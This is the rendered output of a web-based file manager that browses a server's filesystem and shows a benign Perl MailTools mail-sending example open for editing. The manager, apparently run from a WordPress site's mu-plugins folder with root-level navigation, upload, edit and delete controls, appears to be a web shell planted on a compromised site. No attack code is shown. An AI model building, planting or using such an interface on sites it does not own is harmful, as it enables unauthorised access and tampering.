📂 Advanced File Manager
Multi-Root Navigation System
⚡ Quick Jump
Server (/)
Home (/home)
Var_www (/var/www)
Current (/home4/shelley/public_html/shelleycutler.com/wp-content/mu-plugins)
📍 Go
⬆ Ke Atas
🏠 Root Server
🏠 Root App
🔄 Refresh
📀 /
›
usr
›
share
›
doc
›
perl-MailTools
›
📁 examples
📍
Lokasi:
/usr/share/doc/perl-MailTools/examples
💾
Free:
45.8 GB
⚠️ Direktori ini
tidak writable
.
✏️ Mengedit: send_demo
#!/usr/bin/perl -w require Mail::Internet; require Mail::Alias; use Getopt::Long; sub expand_aliases { my $mail = shift; my $aliasfile = $ENV{HOME} . "/.mailrc"; my($tag,$id); if( -f $aliasfile ) { my $alias = Mail::Alias::Binmail->new($aliasfile); # Expand aliases foreach $tag (qw(To Cc Bcc)) { @ids = (); foreach $id (Mail::Address->parse($mail->get($tag))) { my $addr = $id->address; my @expn = $alias->expand($addr); if(scalar(@expn) == 1) { $id->address($expn[0]); push(@ids,$id->format); } else { push(@ids,@expn); } } $mail->combine($tag,','); $mail->replace($tag, join(", ", @ids)); } } } ### ### Main program ### GetOptions(qw(post nosig v)); $opt_post = 1 if $0 =~ m#(\A|/)post\Z#; $verbose = defined $opt_v && $opt_v ? 1 : 0; $posting = defined $opt_post && $opt_post ? 1 : 0; $sign = defined $opt_nosig && $opt_nosig ? 0 : 1; $mail = Mail::Internet->new([ <> ]); expand_aliases($mail); $mail->add_signature if($sign); if($posting) { my @groups = $mail->nntppost(); if($verbose && @groups) { $groups = "Newsgroups: " . join(", ", @groups); $groups =~ s/(.{10,78}),/$1\n/g if(length($groups) > 78); print $groups,"\n"; } } else { $mail->delete('Newsgroups'); } @recp = $mail->smtpsend(); if($verbose && @recp) { $recp = "Recipients: " . join(", ", @recp); $recp =~ s/(.{10,78}),/$1\n/g if(length($recp) > 78); print $recp,"\n"; } exit;
💾 Simpan Perubahan
❌ Batal
📤 Upload
📁 Buat Folder
Nama
Ukuran
Dimodifikasi
Permission
Aksi
📎
forwd_demo
797 B
2022-02-16 11:57
0644
✏️ Edit
⬇
✍️
🗑️
📎
mail-mailer.pl
3.2 KB
2019-05-21 14:26
0644
✏️ Edit
⬇
✍️
🗑️
📎
rplyto_demo
415 B
2022-02-16 11:57
0644
✏️ Edit
⬇
✍️
🗑️
📎
send_demo
1.5 KB
2022-02-16 11:57
0644
✏️ Edit
⬇
✍️
🗑️
✍️ Rename:
Nama Baru:
Batal
💾 Simpan